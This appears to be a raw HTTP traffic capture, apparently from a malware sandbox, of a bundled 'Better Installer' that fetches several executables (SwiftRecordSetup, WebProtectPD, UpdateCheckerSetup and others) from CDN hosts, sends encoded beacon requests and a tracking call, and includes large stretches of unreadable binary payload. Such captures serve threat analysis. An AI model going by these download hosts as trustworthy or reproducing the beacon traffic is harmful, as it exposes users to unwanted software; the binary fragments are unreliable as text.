Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:15 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:15 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /16945.ashx?e=M7A8vgjJHrjHEQ/kk/2L9nI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN8hdpfhQ7NVDX4l9XCm/Va yMyEnHNejvIwWNawbTP05KYX3Ti/i3YObVFZJeaqFdk1VfCEU0AOklTie0zE 5RKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsp1sJ10SU1p3d0s7eG0MUR4wxavn5MnYwXiuMMu0WQZkjv 3ulNYP3 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:16 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /16945.ashx?e=/9ZmISdorEsUXj5SpDTbO0XC18i8H/ZSvWl1REtUj0CMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82CjzcgixbI4T4muiLFL76qdrhEpZL 4aO zY9fV5WloiAKRfuw5Te8UeZLRmueCpr 7rPtSKe/ Md2cjirIcT2Uu2F7cTkckVKXe7b3ey81Z7hCmg7VZxoKYX3Ti/i3YP qW0w MbMw/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLApuPowKbCcFJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjv/RLtOAVqc4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:17 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1h8rlkib3jo2q.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:10:35 GMT

Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT

Expires: Sun, 19 Apr 2015 05:20:35 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 368

X-Cache: Hit from cloudfront

Via: 1.1 e9de1ab26f69f80cffce197b90e2ce29.cloudfront.net (CloudFront)

X-Amz-Cf-Id: g9IdB4XnTtD2dgGGxzk4F1fyK2XA4C7FhU4SXD7tD-KwrdWuYusKqA==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=964747-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321582

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 15 Apr 2015 19:00:50 GMT

Content-Range: bytes 964747-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 1bf0d882921b31997e2650c5d2719973.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2XTB-um2w3j8VOTXvAztN3nuAZehruuFxem_KZaF7akdB7y1YgvJqA==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=261632-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 261632-523263/523264

Content-Length: 261632

Connection: keep-alive
..$P../9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....
5..Nc..r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.
<Q....#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.
V.p4....</{[email protected].@.....>B..y....7....Q...=..(...
.......G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z
.Y3{s...S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>
;.Ry...h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z
..C/..].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2
.z....c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R
.....@.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..G
t..g.n../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2..
......j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aY
F.3c.7....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U.......
.bX`9.....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5
.K...T.....q..1.........r...z.Eq....\*.{.)..V70......-Y&......t....m..
....4 ..... 2..~..&..,..m..k ..TQqp5%..P.J...f-....oL2n..3..I..[..M..D
.t...Q.:I./}Z..Hwn....^'.....`d..3......2NU.........*17U{k5....C.U....
...m..P.u.....#..h..n.>.../...e3|..(M...........T...~.L...~`\......
.....M....n....x...H. .".....=..&.B..J..].2...........Q....E.?b.......
3..IaM....d.O..../....j.C.a........#B...u......HS.0.m5.\......!....[..
..?O.R.......^........9uO.X)........dM>..s.A..e{.'M}.U...}0.-.H...h
..?.[..............~......2..0....0_..q.!.b......L.T.95.Nhd.....Q6<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=25009-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 175063

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1032

Content-Range: bytes 25009-200071/200072

X-Cache: Hit from cloudfront

Via: 1.1 b043e5d8f891a4355b301181139be4c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FZ6jajEVs8uYaihZtTNhIy-wRnWla6Q3CKQYDMwD5uKvS0ms2MeyCg==

leStringA....WritePrivateProfileStringA..u.MultiByteToWideChar...FreeL
ibrary...GetProcAddress..S.LoadLibraryExA....GetModuleHandleA..Z.GetEx
itCodeProcess....WaitForSingleObject...GlobalAlloc...GlobalFree....Exp
andEnvironmentStringsA...lstrcmpA....lstrcmpiA.4.CloseHandle...SetFile
Time.9.CompareFileTime...SearchPathA...GetShortPathNameA.i.GetFullPath
NameA..n.MoveFileA...SetCurrentDirectoryA..^.GetFileAttributesA..q.Get
LastError..K.CreateDirectoryA....SetFileAttributesA..V.Sleep...GetTick
Count..S.CreateFileA.c.GetFileSize.}.GetModuleFileNameA..B.GetCurrentP
rocess.C.CopyFileA...ExitProcess...GetWindowsDirectoryA....GetTempPath
A....GetCommandLineA...SetErrorMode..R.LoadLibraryA....lstrcpynA.M.Get
DiskFreeSpaceA...GlobalUnlock....GlobalLock..o.CreateThread..f.CreateP
rocessA....RemoveDirectoryA....GetTempFileNameA....lstrlenA....lstrcat
A....GetSystemDirectoryA...GetVersion..KERNEL32.dll....EndPaint....Dra
wTextA...FillRect....GetClientRect...BeginPaint....DefWindowProcA..;.S
endMessageA....InvalidateRect....EnableWindow....GetDC...LoadImageA...
.SetWindowLongA....GetDlgItem....IsWindow....FindWindowExA.>.SendMe
ssageTimeoutA...wsprintfA...ShowWindow..W.SetForegroundWindow...PostQu
itMessage...SetWindowTextA..z.SetTimer..U.CreateDialogParamA....Destro
yWindow...ExitWindowsEx.*.CharNextA...DialogBoxParamA...GetClassInfoA.
`.CreateWindowExA...SystemParametersInfoA...RegisterClassA....EndDialo
g.1.ScreenToClient..t.GetWindowRect...EnableMenuItem..\.GetSystemMenu.
G.SetClassLongA...IsWindowEnabled...SetWindowPos..Z.GetSysColor.n.

<<< skipped >>>

GET //MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=121268, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:50:48 GMT

Expires: Thu, 23 Apr 2015 19:50:48 GMT

ETag: "351046e43fa190c968e94a6603cc10d945dbbe81"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1787

Connection: close

Content-Type: application/ocsp-response

0..........0..... .....0......0...0...z0x1.0...U....US1.0...U....Arizo
na1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..."Go Daddy Vali
dation Authority - G2..20150422075048Z0k0i0A0... ..........._lkv...8..
f..R34N..@..'..4.0.3..l...,....;..#F._.....20150422075048Z....20150423
195048Z0...*.H..............B...z.....,.g.i....I..M!.....c....#..[..tk
.....:.f..m........;..h.........I..U.........lsCm...l7.k^v....p{...Wr.
.X..&be]~.m3...!....u.An.t..Vb.I......x..._.t....Hj..=.U.....b.0.x....
F.q..zV;.g..y]..Q.....pm.Up..3L...4...i.WMJ*z$.v.!......~..98fq.F....4
|qe....0...0...0..........,.z.Hl..0...*.H........0..1.0...U....US1.0..
.U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.1-0 ..U.
..$hXXp://certs.godaddy.com/repository/1301..U...*Go Daddy Secure Cert
ificate Authority - G20...150316070000Z..160316070000Z0x1.0...U....US1
.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..
."Go Daddy Validation Authority - G20.."0...*.H.............0.........
xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\..........b.D....l=.
HS.N......A..;....C)...(..T........XA-N....k1 .....ag...,4.L{.I..hEKb.
.K......!.(...7....p.O...X.._........8.B..k[4...........e.../....^.S..
7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p..........0...0...U.......
0.0...U...........0...U.%..0... ......... .......0...U.......O........
f...e..r..0... .....0......0L..U...E0C0A.?.=.;hXXp://crl.godaddy.com/r
epository/mastergodaddy2issuing.crl0J..U. .C0A0?..`.H...m....000... ..
......"hXXp://crl.godaddy.com/repository/0...*.H................."

<<< skipped >>>

GET /26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMoDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6puHhIRrwqOuPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5SIkhsArw0dj8zg11Zya4vLW0RgB7IP YB0jkP9WgxEx9I4XwGR9EbgCdb0Dd4xhSv 1J0U syReC1svLRNv5uqTcyQFgmQvaXQpojaFkJmFPfd/83uoJ1QfIPihIO LQJXwV9ydvg ny5BkrEKzn8rg5O62wFzDmx45WF4clj5xtzKEv37udDSeG7SWcjRf4QvtzO Ow1rb2IeMW03dSlmZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:41 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:41 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /26773.ashx?e=hpY1rXLYst7XN7SCySESdxbYZRf/C3T/sg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/hr0m58B4wFS2iZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/Bbyx1MJEBjl89qubDp5/hPwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:44 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:44 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=9116-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 63806

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 706

Content-Range: bytes 9116-72921/72922

X-Cache: Hit from cloudfront

Via: 1.1 795b65ff0c55e70d8791f9def508f3a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kL8lDsvCXKXDs2jMKeoMEdUiERys8jiTAT9TdXpIvyhDSNEeNigjjA==
[email protected],.u....u.)u.....@..}....B....u9E........jj
...j.....tS9u.}..u.VW.Y.....uHj.X.I.u.9u.}[email protected]
[email protected].;u.u..u.)u..}.......u..E._^[.....t$..t$..5..@...(.....j.j
[email protected]@....V...B.V.B-..V..%....u.^.V.U%[email protected]'..
^.......SUV3.W.\$..D$...@..\$ .D$. [email protected]@[email protected].
...6B.S.D$8h`[email protected][email protected]..?*.... [email protected]*..S...q@..
=..B."..6B...u..D$."...B..t$.P..$..P.. [email protected]$........ [email protected] t..8".D$. 
[email protected]$.".8/[email protected]... t.:.u...`7B........{[email protected][email protected].@
[email protected]... t.:.u..L$ [email protected][email protected].@......
[email protected]$.P..#...8"u.@..:...6......X....Ph..B...)...5.p@...
[email protected][email protected]..([email protected]..(.
[email protected]\[email protected][email protected]@..t$ .S...;..D$.......9.
.6B.tvSU./#....;[email protected][email protected][email protected][email protected];.s
.;[email protected]..#....t*Vh..B...(..Vh..B...(...\$...l7B........D$.
[email protected]\$.......h.. [email protected][email protected]..'[email protected]
[email protected]@.8...B.u.Vh..B...'...t$.h.@B..~'..f...@[email protected]..%A.@.]..
...A.f..DB...6B... ...V.o'[email protected]\[email protected]..%....6B
...$...V.8'..V.....;.t.P...p@..\$....DB.Mu.SW..%.......9.T7B.t{j...*..
j.....)..j.....)..;...tH;.tD;[email protected]$.Pj([email protected],.D$(Ph,[email protected]$
,SPS.t$0.D$<[email protected]$..t$....
p@[email protected]@.....@...(...j.h..B.......V.5..A....t$..V..6Y..u.^.
[email protected]@...u._.%..A..^....A....H.;<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.56 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:31 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.56 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=554942&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:47 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 22
 Apr 2015 08:21:47 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 0-523263/523264

Content-Length: 523264

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
